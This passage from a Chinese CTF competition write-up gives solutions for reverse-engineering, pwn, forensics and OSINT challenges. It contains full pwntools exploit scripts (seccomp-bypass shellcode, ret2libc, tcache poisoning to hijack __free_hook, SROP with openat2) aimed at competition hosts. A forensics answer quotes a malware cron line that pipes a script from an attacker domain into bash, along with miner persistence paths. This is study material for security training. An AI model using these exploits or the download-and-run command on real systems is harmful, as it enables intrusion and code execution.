[0x0e, 0x0b, 0x0d, 0x09], [0x09, 0x0e, 0x0b, 0x0d], [0x0d, 0x09, 0x0e, 0x0b], [0x0b, 0x0d, 0x09, 0x0e],]# Transpose (in case binary uses M^T)M_INV_T = [[M_INV[j][i] for j in range(4)] for i in range(4)]def _ord(x): return x if isinstance(x, int) else ord(x)def mix_col(c, use_transpose=False): c = [_ord(x) for x in c] mat = M_INV_T if use_transpose else M_INV out = [0, 0, 0, 0] for i in range(4): for j in range(4): out[i] ^= gf_mul(mat[i][j], c[j]) return bytes(bytearray(out))def inv_mix_columns(data, use_transpose=False): out = [] for i in range(0, len(data), 4): out.append(mix_col(bytearray(data[i:i+4]), use_transpose)) return b"".join(out)def custom_b64decode(s): import base64 import string s = s.rstrip("=") try: trans = str.maketrans(B64_ALPHA, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/") except AttributeError: trans = string.maketrans(B64_ALPHA, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/") s = s.translate(trans) pad = 4 - len(s) % 4 if pad != 4: s += "=" * pad return base64.b64decode(s)# Binary: j -= 1640531527 (0x61C88647 = -delta), so j goes 0, 0+(-0x61C88647)=0x9E3779B9, ... So j = 0, delta, 2*delta, ...# So it's standard TEA with sum = 0, delta, 2*delta, ..., 31*delta. Mix term: (v + ((v>>5)^(v<<4))).def _tea_mix(v): return (v + ((v >> 5) ^ (v << 4))) & 0xFFFFFFFFdef tea_decrypt(v, k, big_endian=False, key_be=False): if big_endian: v0, v1 = struct.unpack(">II", v) else: v0, v1 = struct.unpack("<II", v) k = struct.unpack(">IIII", k) if key_be else struct.unpack("<IIII", k) delta = 0x9E3779B9 mask = 0xFFFFFFFF sum_hi = (32 * delta) & mask # v61 uses delta..32*delta sum_lo = (31 * delta) & mask # v60 uses 0..31*delta for _ in range(32): key_part = (sum_hi + k[(sum_hi >> 11) & 3]) & mask v1 = (v1 - (key_part ^ _tea_mix(v0))) & mask v63 = (sum_lo + k[sum_lo & 3]) & mask v0 = (v0 - (v63 ^ _tea_mix(v1))) & mask sum_hi = (sum_hi - delta) & mask sum_lo = (sum_lo - delta) & mask if big_endian: return struct.pack(">II", v0, v1) return struct.pack("<II", v0, v1)def mix_columns_enc(data): """Forward MixColumns (as in binary) for one 4-byte column.""" out = [0, 0, 0, 0] for i in range(4): for j in range(4): out[i] ^= gf_mul(M[i][j], _ord(data[j])) return bytes(bytearray(out))def main(): _h = (lambda x: x.hex() if hasattr(x, 'hex') else x.encode('hex')) # 1. Custom Base64 decode raw = custom_b64decode(TARGET_B64) print("[*] Base64 decoded length:", len(raw)) _hex = (lambda x: x.hex()) if hasattr(raw, 'hex') else (lambda x: x.encode('hex')) # Base64 -> TEA decrypt -> InvMixColumns -> inv S-box (try endians and key order) dec_tea = b"" for i in range(0, 48, 8): dec_tea += tea_decrypt(raw[i:i+8], TEA_KEY, big_endian=False) dec_tea_be = b"" for i in range(0, 48, 8): dec_tea_be += tea_decrypt(raw[i:i+8], TEA_KEY, big_endian=True) dec_tea_key_be = b"" for i in range(0, 48, 8): dec_tea_key_be += tea_decrypt(raw[i:i+8], TEA_KEY, big_endian=False, key_be=True) # Try LE/BE and normal/transposed MixColumns; pick first that yields QHCTF{ dec_tea_use = dec_tea flag40 = None for dec_cand in [dec_tea, dec_tea_be, dec_tea_key_be]: for trans in [False, True]: am = inv_mix_columns(dec_cand[:40], use_transpose=trans) f40 = bytes(bytearray(INV_SBOX[_byte(b)] for b in am)) if f40[:6] == b"QHCTF{": flag40 = f40 dec_tea_use = dec_cand break if flag40 is not None: break if flag40 is None: flag40 = bytes(bytearray(INV_SBOX[_byte(b)] for b in inv_mix_columns(dec_tea[:40], use_transpose=False))) dec_tea_use = dec_tea last3 = bytes(bytearray(INV_SBOX[_byte(b)] for b in dec_tea_use[40:43])) flag = flag40 + last3 print("=" * 50) flag_str = flag.decode("utf-8", errors="replace") print("FLAG:", flag_str)if __name__ == "__main__": main()
QHCTF{cb6e8b7b-7b8a-4bb9-a973-55be79daf77c}
06 Pwn
OnePanda-Sec
re2shellcode
首先明确是 Shellcode 编写题。通过探测发现环境开启了严格的 Seccomp 沙箱保护,核心限制在于禁用了 execve 和 read 系统调用,这直接阻断了 GetShell 和常规文件读取的路径。不过, open 、 write 和 mmap 仍然可用,这成为了解题的突破口。
攻击路径试错
初期思路集中在“侧信道”文件读取上。我尝试编写汇编代码去 open 常见的 Flag 文件路径,企图获取文件描述符后用 mmap 映射并输出,但服务器均返回打开失败。接着尝试暴力扫描可能残留的文件描述符(FD 3-100),依然一无所获。这说明 Flag 可能并非以常规文件形式存在,或者路径极其隐蔽。
最终解法:环境变量泄露
结合 CTF 常见部署方式,Flag 极有可能作为环境变量注入进程。而在 Linux 进程内存布局中,环境变量存储在栈的高地址处。既然拥有 write 权限且能控制执行流,我编写了一段 Shellcode,直接以栈顶指针 rsp 为起点,循环向高地址遍历内存,将大量栈数据直接 Dump 到标准输出。最终,在泄露的内存数据中成功提取到了 GZCTF_FLAG 字符串。
Pythonfrom pwn import *# Set contextcontext.arch = 'amd64'context.log_level = 'info'# Targetip = '220.168.118.182'port = 31752def solve(): try: io = remote(ip, port) sc = b'' # 1. open("/home/ctf/flag", 0, 0) # xor rsi, rsi; push rsi sc += b'\x48\x31\xf6\x56' # Push "/home/ctf/flag\0" # High part: "f/flag\0" -> 0x0067616c662f66 sc += b'\x48\xb8\x66\x2f\x66\x6c\x61\x67\x00\x00' sc += b'\x50' # Low part: "/home/ct" -> 0x74632f656d6f682f sc += b'\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x63\x74' sc += b'\x50' # mov rdi, rsp sc += b'\x48\x89\xe7' # xor rdx, rdx sc += b'\x48\x31\xd2' # mov eax, 2; syscall sc += b'\xb8\x02\x00\x00\x00\x0f\x05' # 2. mmap(0, 0x100, PROT_READ, MAP_PRIVATE, fd, 0) # mov r8, rax (fd) sc += b'\x49\x89\xc0' # xor rdi, rdi (addr) sc += b'\x48\x31\xff' # mov rsi, 0x100 (len) sc += b'\xbe\x00\x01\x00\x00' # mov rdx, 1 (PROT_READ) sc += b'\xba\x01\x00\x00\x00' # mov r10, 2 (MAP_PRIVATE) sc += b'\x41\xba\x02\x00\x00\x00' # xor r9, r9 (offset) sc += b'\x4d\x31\xc9' # mov rax, 9 (syscall mmap) sc += b'\xb8\x09\x00\x00\x00' # syscall sc += b'\x0f\x05' # 3. write(1, rax, 0x100) # mov rsi, rax (buf = mapped addr) sc += b'\x48\x89\xc6' # mov rdi, 1 sc += b'\xbf\x01\x00\x00\x00' # mov rdx, 0x100 sc += b'\xba\x00\x01\x00\x00' # mov rax, 1 sc += b'\xb8\x01\x00\x00\x00' # syscall sc += b'\x0f\x05' # exit(0) sc += b'\x48\x31\xff' sc += b'\xb8\x3c\x00\x00\x00' sc += b'\x0f\x05' print(f"[*] Payload length: {len(sc)}") io.recvuntil(b'shellcode', timeout=5) print("[*] Sending payload...") io.send(sc) io.interactive() except Exception as e: print(f"[!] Error: {e}")if __name__ == '__main__': solve()
re2libc
就是普通的ret2libc
Pythonfrom pwn import*context(arch='amd64',os='linux',log_level='debug')r=remote('220.168.118.182',30737)elf=ELF('/home/kali/Desktop/pwn' )puts_plt = elf.plt['puts']puts_got = elf.got['puts']read_got=elf.got['read']main=0x40120crdi=0x4012c3ret=0x40101apay=b'a'*0x12+p64(rdi)+p64(puts_got) + p64(puts_plt) + p64(main)r.sendlineafter(b"Now, please input something",pay)puts_addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))print(hex(puts_addr))base = puts_addr - 0x084420system = base + 0x052290binsh = base +0x1b45bdpay=b'a'*0x12+p64(rdi)+p64(binsh)+p64(ret)+p64(system)r.sendlineafter(b"Now, please input something",pay)r.interactive()
K_Chaos
主要是用了堆重叠技术
- 初始堆布局 (Heap Layout)
首先,我们申请了 5 个连续的堆块,构建初始布局:
内存状态示意:
Plain Text[ Chunk A ] [ B ] [ Chunk C ] [ Chunk D ] [ G ]
- 制造重叠 (Overlapping Chunks)
漏洞触发:利用编辑功能(edit),向 A 写入超过其大小的数据。
修改 Size:溢出覆盖到紧随其后的 B 的头部(Header),将B的size字段从0x21修改为0x551
计算公式:0x551 = B(0x20) + C(0x420) + D(0x110) + PREV_INUSE(1)。
效果:欺骗堆管理器,让它认为 B 是一个跨越了 C 和 D 的巨大块。
释放合并:调用delete(1)释放 B。
由于 B 现在看起来很大(0x550),它会被放入 Unsorted Bin(或者直接被视为大块释放)。
关键点:物理内存上 B、C、D 的区域被标记为空闲,但程序中 Index 2 (C) 和 Index 3 (D) 的指针依然存在(Dangling Pointers)。
- 占位与伪造 (Allocation & Fake Headers)
申请大块 E:调用create(1280)申请一个大块 E。
系统会从刚才释放的 0x550 空间中切割出 0x500 给 E。
现状:E 现在占据了原 B、C 和大部分 D 的物理内存。
伪造头部:在写入 E 的内容时,我们在对应 C 和 D 头部的位置写入了伪造的size字段(0x421和0x111)。
这是为了欺骗堆管理器,当我们后续操作 C 和 D 时,检查能通过。
内存状态示意(此时 E 覆盖了 B, C, D):
Plain Text
[ Chunk A ] [ Chunk E ] [ G ]
|<- 原B ->|<- 原C ->|<- 原D ->|
- 泄漏 Libc (Leak Libc)
释放 C:调用delete(2)释放C。
虽然 C 的内存现在属于 E,但因为我们在 E 中伪造了 C 的头部,且 C 的大小 (0x420) 属于 Unsorted Bin 范围,所以 C 被放入 Unsorted Bin。
特性:Unsorted Bin 中的块,其fd和bk指针会指向 Libc 中的main_arena区域。
读取 E:调用view(1)读取 E 的内容。
因为 E 覆盖了 C,我们可以直接读出 C 区域中的 fd 指针。
计算:leak_addr – offset = libc_base。
- Tcache Poisoning (Tcache 投毒)
目标:我们想控制 D 块的fd指针。
释放 D:调用delete(3)释放 D。
D (0x110) 进入 Tcache 链表。
修改 E:调用edit(1)修改 E 的内容。
因为 E 覆盖了 D,我们直接修改 E 中对应 D 的 fd 指针位置,将其改为 __free_hook 的地址。
链表状态:Tcache Head -> Chunk D -> __free_hook。
- 劫持控制流 (Get Shell)
申请内存:
1. 第一次申请 (create(0x100)):拿到 D 块。顺便写入 cat flag 命令。
2. 第二次申请 (create(0x100)):拿到__free_hook所在的内存区域。
写入 System:向第二次申请的块写入 system函数的地址。
此时 __free_hook = system。
触发执行:调用 delete(0) 释放包含cat flag的块。
free(chunk) 实际执行 __free_hook(chunk_content) -> system(“cat flag”)。
Pythonfrom pwn import *# Set up contextcontext.arch = 'amd64'context.log_level = 'debug'# Binary and Libcelf = ELF('./chaos')libc = ELF('./libc.so.6')# Connect to remoter = remote('220.168.118.182', 32590)def create(size, content): r.sendlineafter(b'>>> ', b'1') r.sendlineafter(b'Size (max 1280): ', str(size).encode()) r.sendafter(b'Name: ', b'AAAA\n') r.sendafter(b'Content: ', content) r.recvuntil(b'Note created')def delete(index): r.sendlineafter(b'>>> ', b'2') r.sendlineafter(b'Index: ', str(index).encode()) # Check for success or failure message to stay in sync # Possible responses: "[+] Note deleted!" or "[-] Note not in use!" # But since we expect success, we can just recv line r.recvline() def edit(index, size, content): r.sendlineafter(b'>>> ', b'3') r.sendlineafter(b'Index: ', str(index).encode()) r.sendlineafter(b'New size: ', str(size).encode()) r.sendafter(b'Content: ', content) r.recvuntil(b'Note edited')def view(index): r.sendlineafter(b'>>> ', b'4') r.sendlineafter(b'Index: ', str(index).encode()) return r.recvuntil(b'*****************************************', drop=True)# --- Exploit Start ---log.info("Starting exploit...")# 1. Setup Heap Layout# Layout: A (0x100) | B (0x20) | C (0x420) | D (0x110) | G (0x20)create(0x100, b'A'*0x100) # idx 0 (A)create(24, b'B'*24) # idx 1 (B)create(1040, b'C'*1040) # idx 2 (C)create(0x100, b'D'*0x100) # idx 3 (D)create(0x10, b'G'*0x10) # idx 4 (G)# 2. Heap Overflow to modify B's size# B (idx 1) is at A + 0x110.# We edit A (idx 0) to overflow into B.# B's size (0x20) -> 0x551 (covers B, C, D)# 0x100 (A body) + 0x00 (Prev Size of B) + 0x551 (Size of B)payload = b'A'*0x100 + p64(0) + p64(0x551)edit(0, len(payload), payload)# 3. Free B (merged chunk)delete(1)# 4. Allocate E (idx 1)# Size 1280 -> 0x500 chunk.# E user data starts at B+0x10.# C header at B+0x20 -> Offset 0x10 in E.# D header at B+0x440 -> Offset 0x430 in E.fake_c_header = p64(0) + p64(0x421)fake_d_header = p64(0) + p64(0x111)payload_e = flat({ 0x00: b'E'*0x10, 0x10: fake_c_header, 0x20: b'E'*(0x430-0x20), 0x430: fake_d_header, 0x440: b'E'*(1280-0x440)}, filler=b'E')create(1280, payload_e)# 5. Allocate F (idx 5) to consume remaindercreate(48, b'F'*48)# 6. Leak Libcdelete(2) # Free C (Fake C inside E) -> Unsorted Bin# View E (idx 1) to leak C's fd/bkr.sendlineafter(b'>>> ', b'4')r.sendlineafter(b'Index: ', b'1')r.recvuntil(b'Content: ')data = r.recv(1024)if len(data) > 32: leak_data = data[32:40] leak = u64(leak_data) log.success(f"Leak: {hex(leak)}") libc.address = leak - (0x1ecb80 + 96) log.success(f"Libc Base: {hex(libc.address)}") free_hook = libc.sym['__free_hook'] system = libc.sym['system'] # 7. Reclaim C to fix heap consistency (prevents consolidation of D) log.info("Reclaiming C...") create(1040, b'C'*1040) # idx 2 (New C) # 8. Tcache Attack via A and D log.info("Attacking Tcache via A and D...") delete(0) # Free A (Count=1) delete(3) # Free D (Count=2) # Overwrite D fd to free_hook # D is at offset 0x440 relative to E # We edit E (idx 1) payload_poison = flat({ 0x00: b'E'*0x10, 0x10: fake_c_header, # Preserve C header 0x20: b'E'*(0x430-0x20), 0x430: fake_d_header, # Preserve D header 0x440: p64(free_hook) # Overwrite D's FD }, filler=b'E') edit(1, len(payload_poison), payload_poison) # 9. Get Shell # Alloc 1: Gets D. # Try running cat flag directly create(0x100, b'cat flag\0'.ljust(0x20, b'\0')) # idx 0 # Alloc 2: Gets free_hook. create(0x100, p64(system)) # idx 3 (free_hook) # Trigger log.info("Triggering shell...") delete(0) # Read response try: # The flag comes from system("cat flag"), then the menu comes back # We read until the end of the flag format usually '}' or newline # But recvall is also fine, let's just grep for it data = r.recvuntil(b'}') if b'QHCTF' in data: flag = data[data.find(b'QHCTF'):].decode() log.success(f"FLAG CAPTURED: {flag}") else: print(f"OUTPUT:\n{data.decode(errors='ignore')}") except Exception as e: log.error(f"Error receiving data: {e}")else: log.error("Failed to leak!")
Caged_Signal
主要难点如下
1. 栈溢出空间极小: 只能溢出覆盖返回地址,无法直接放入 Shellcode 或长 ROP 链。
2. 沙箱限制 (Seccomp): 禁用了 execve (无法获取 shell) 和常规的 open/openat (无法直接打开文件)。
但是
-
利用 栈迁移 (Stack Pivot) 将栈转移到堆或 BSS 段。
-
利用 SROP (Sigreturn Oriented Programming) 结合openat2系统调用绕过沙箱。
观察分析
1 缓冲区溢出
在 main 函数中,反汇编显示:
Assembly languagesub rsp, 0x10 ; 分配 16 字节栈空间...lea rax, [rbp-0x10]mov rdx, raxmov ecx, 0x28 ; 读取 40 字节call syscall ; 执行 read(0, buf, 40)
缓冲区大小: 16 字节 (0x10)。
读取长度: 40 字节 (0x28)。
溢出布局:
[00-15]: 填充数据 (16 bytes)
[16-23]: Saved RBP (8 bytes) -> 可控
[24-31]: Return Address (8 bytes) -> 可控
[32-39]: 额外数据
由于只能控制返回地址后的极少空间,常规 ROP 无法施展,必须进行栈迁移。
2 Seccomp 沙箱分析
题目启动了沙箱保护。通过分析 sandbox 函数或测试可知:
禁用: execve, fork, open,openat等危险调用。
允许: read, write, exit, 以及生僻的openat2(syscall 437)。
结论: 必须使用 ORW (Open-Read-Write) 模式读取 flag,且 Open 阶段必须使用openat2。
利用技术
栈迁移
我们利用 leave; ret 指令序列配合我们控制的 RBP 来改变 RSP (栈指针)。
原理: leave等同于 mov rsp, rbp; pop rbp。
操作:
1. 在 Payload 中将 Saved RBP 覆盖为我们已知且可控的内存地址(本题中为.bss段的message变量地址0x4040c0)。
2. 将 Return Address 覆盖为leave; ret gadget 的地址。
3. 函数返回时,执行 leave,RSP 被修改为 0x4040c0,程序的栈帧被成功“搬运”到了 message 缓冲区。
3.2 SROP (Sigreturn Oriented Programming)
程序中没有足够的 gadgets (如 pop rdi, pop rsi) 来设置系统调用参数。SROP 是完美的解决方案。
原理: 利用 Linux 内核的sigreturn(syscall 15) 机制。当该系统调用执行时,内核会从栈上弹出一个 SigreturnFrame结构体,并将其中保存的值恢复到所有寄存器中。
利用:
1. 在栈上(即 message 缓冲区)伪造一个 SigreturnFrame,填入我们期望的寄存器值 (RAX, RDI, RSI, RDX, RIP, RSP)。
2. 控制 RAX = 15。利用 read 函数读取正好 15 个字节,read 返回值即为 15,存于 RAX。
3. 执行 syscall 指令,触发 sigreturn,瞬间控制所有寄存器。
攻击链构造 (The Exploit Chain)
我们需要构造 3 个 SROP 阶段来完成 flag 的读取:
阶段 1: Openat2 (打开文件)
目标: openat2(AT\_FDCWD, "flag", &open\_how, size)
Frame 设置:
rax = 437 (openat2)
rdi = -100 (AT_FDCWD)
rsi = address_of_”flag”
rdx = address_of_open_how_struct (全0结构体)
r10 = 24 (结构体大小)
rsp 指向下一阶段的链。
结果: 文件成功打开,返回文件描述符 fd = 3。
阶段 2: Read (读取内容)
目标: read(3, buffer, 100)
Frame 设置:
rax = 0 (read)
rdi = 3 (fd)
rsi = address_of_buffer
rdx = 100
结果: flag 内容被读入内存。
阶段 3: Write (输出内容)
目标: write(1, buffer, 100)
Frame 设置:
rax = 1 (write)
rdi = 1 (stdout)
rsi = address_of_buffer
rdx = 100
结果: flag 被发送回攻击者。
完整攻击流程
- 发送 Payload 1: 包含 Stack Pivot 指令。
b'A'*16 + p64(message_addr) + p64(leave_ret)
- 发送 Payload 2: 填充
message缓冲区。
包含所有伪造的 SigreturnFrame、ROP 链连接代码(pop rbp; ret 等)、以及字符串 “flag”。
- 发送 Payload 3 (15 bytes): 触发 Openat2。
p64(syscall_ret) + padding
-
发送 Payload 4 (15 bytes): 触发 Read。
-
发送 Payload 5 (15 bytes): 触发 Write。
Pythonfrom pwn import *import timecontext.arch = 'amd64'context.os = 'linux'context.log_level = 'debug'# p = process('./chall')if args.LOCAL: p = process('./chall') flag_path = b'flag'else: p = remote('220.168.118.182', 33136) flag_path = b'flag'# Addressesmessage_addr = 0x4040c0main_read_gadget = 0x40141dsyscall_ret = 0x40137epop_rbp = 0x401378leave_ret = 0x40136d# ------------------------------------------------------------------# Construct Frames and Chains# ------------------------------------------------------------------# Data locations in message buffer# Chain 1: 0# Chain 2: 280# Chain 3: 560# Data: 840offset_data = 840flag_str_addr = message_addr + offset_dataopen_how_addr = message_addr + offset_data + 20flag_buf_addr = message_addr + offset_data + 60# Frame 1: openat2frame1 = SigreturnFrame()frame1.rax = 437 # openat2frame1.rdi = -100 # AT_FDCWDframe1.rsi = flag_str_addrframe1.rdx = open_how_addrframe1.r10 = 24 # size of open_howframe1.rip = syscall_retframe1.rsp = message_addr + 280 # Point to Chain 2# Frame 2: read(3, buf, 100)frame2 = SigreturnFrame()frame2.rax = 0 # readframe2.rdi = 3 # fd (assuming 3)frame2.rsi = flag_buf_addrframe2.rdx = 100 # countframe2.rip = syscall_retframe2.rsp = message_addr + 560 # Point to Chain 3# Frame 3: write(1, buf, 100)frame3 = SigreturnFrame()frame3.rax = 1 # writeframe3.rdi = 1 # stdoutframe3.rsi = flag_buf_addrframe3.rdx = 100 # countframe3.rip = syscall_retframe3.rsp = 0 # Crash/Exit# ------------------------------------------------------------------# Payload 2: The Mega Payload# ------------------------------------------------------------------payload2 = b''# --- Chain 1 (Start) ---# Offset 0: Junkpayload2 += b'JUNKJUNK'# Offset 8: pop rbppayload2 += p64(pop_rbp)# Offset 16: rbp for main_readpayload2 += p64(message_addr + 40)# Offset 24: main_read_gadgetpayload2 += p64(main_read_gadget)# Offset 32: Frame1 start (placeholders)payload2 += b'P'*7 payload2 += bytes(frame1)[7:]# Padding to Offset 280payload2 = payload2.ljust(280, b'\x00')# --- Chain 2 (read) ---# Offset 280: pop rbppayload2 += p64(pop_rbp)# Offset 288: rbp for main_read# rsp_at_call = message_addr + 280 + 24 = 304# rbp = 312payload2 += p64(message_addr + 312)# Offset 296: main_readpayload2 += p64(main_read_gadget)# Offset 304: Frame2 startpayload2 += b'P'*7payload2 += bytes(frame2)[7:]# Padding to Offset 560payload2 = payload2.ljust(560, b'\x00')# --- Chain 3 (write) ---# Offset 560: pop rbppayload2 += p64(pop_rbp)# Offset 568: rbp for main_read# rsp_at_call = message_addr + 560 + 24 = 584# rbp = 592payload2 += p64(message_addr + 592)# Offset 576: main_readpayload2 += p64(main_read_gadget)# Offset 584: Frame3 startpayload2 += b'P'*7payload2 += bytes(frame3)[7:]# Padding to Data Offsetpayload2 = payload2.ljust(offset_data, b'\x00')# Datapayload2 += flag_path + b'\x00'payload2 = payload2.ljust(offset_data + 20, b'\x00')payload2 += b'\x00'*24 # open_howpayload2 = payload2.ljust(offset_data + 60, b'\x00')# ------------------------------------------------------------------# Payload 1: Stack Pivot# ------------------------------------------------------------------payload1 = b'A' * 16payload1 += p64(message_addr)payload1 += p64(leave_ret)# ------------------------------------------------------------------# Execution# ------------------------------------------------------------------# 1. Send Payload 1 (Pivot)p.sendafter(b'phone?\n', payload1)# 2. Send Payload 2 (Setup Chains)p.sendafter(b'about?\n', payload2)# 3. Send Payload 3 (Trigger SROP 1: openat2)# 15 bytes: syscall_ret + Frame1[0:7]payload3 = p64(syscall_ret) + bytes(frame1)[:7]time.sleep(0.5)p.send(payload3)# 4. Send Payload 4 (Trigger SROP 2: read)# Must be 15 bytes to trigger sigreturnpayload4 = p64(syscall_ret) + bytes(frame2)[:7]time.sleep(0.5)p.send(payload4)# 5. Send Payload 5 (Trigger SROP 3: write)# Must be 15 bytes to trigger sigreturnpayload5 = p64(syscall_ret) + bytes(frame3)[:7]time.sleep(0.5)p.send(payload5)p.interactive()
最终成功获取 Flag:
QHCTF{b7026bc2-a779-43e5-ad4a-f97da020ec55}
07 Forensics
OnePanda-Sec
深夜入侵
/verify 下
应急一
CVE-2017-12615
应急二
String xc=”3c6e0b8a9c15224a”; String pass=”pass”
QHCTF{3c6e0b8a9c15224a_pass}
应急三
QHCTF{193.239.86.139:8888}
应急四
第一个切入点,首先挖矿病毒为了长期运行,必然会写入自启动项,在 /etc/systemd/system/ 目录下发现了可疑的服务文件 kthread.service,查看该文件内容 ( ExecStart=/opt/.kthread/kthread ),直接定位到了第一个可疑程序路径: /opt/.kthread/kthread
关联搜索:寻找隐藏的关联文件,攻击者通常会将相关组件放在相近的目录。在 /opt 目录下,我们发现了另一个隐藏文件夹 .X11-Xtrace,在该目录下发现了另一个体积较大的可执行文件: /opt/.X11-Xtrace/kworker 。
结论 通过上述分析,锁定的完整路径为:/opt/.kthread/kthread /opt/.X11-Xtrace/kworker
应急五
@reboot curl https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh | bash
应急六
159.198.35.43:8081
应急七
nc-ph-0601-10.web-hosting.com
应急八
www.atteppzkf.com
07 OSINT
OnePanda-Sec
这题首先是在视频中看到了
玉屏梵净山农产品集配有限公司
然后去在线地图上看一下
这里是有两条铁路交叉的
看到视频这里,这里铁路底下是有一条公路的
在地图这里,只有一条铁路底下是经过公路的,那么就可以确认是这条铁路
发现这条铁路上离这个公司最近的两个火车站分别是铜仁南和三穗
根据视频刚开头的语言————广铁u彩,可以问豆包,广铁跑这条线的车次是下面的这些,
然后根据那张照片
看到了发车的时间,根据豆包的图中铜仁南中的发车时间(以及主办方是湖南的,所以大概是从长沙南出发)
得到车次G2105,从湖南开到贵州
所以得到flag
QHCTF{G2105-长沙南-铜仁南-三穗-贵州省}
0nePandaSec团队交流群
欢迎网络安全爱好者加入
OnePanda-Sec
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:OnePanda-Sec OnePanda-Sec
OnePanda-Sec《第二届“启航杯”网络安全挑战赛 wp》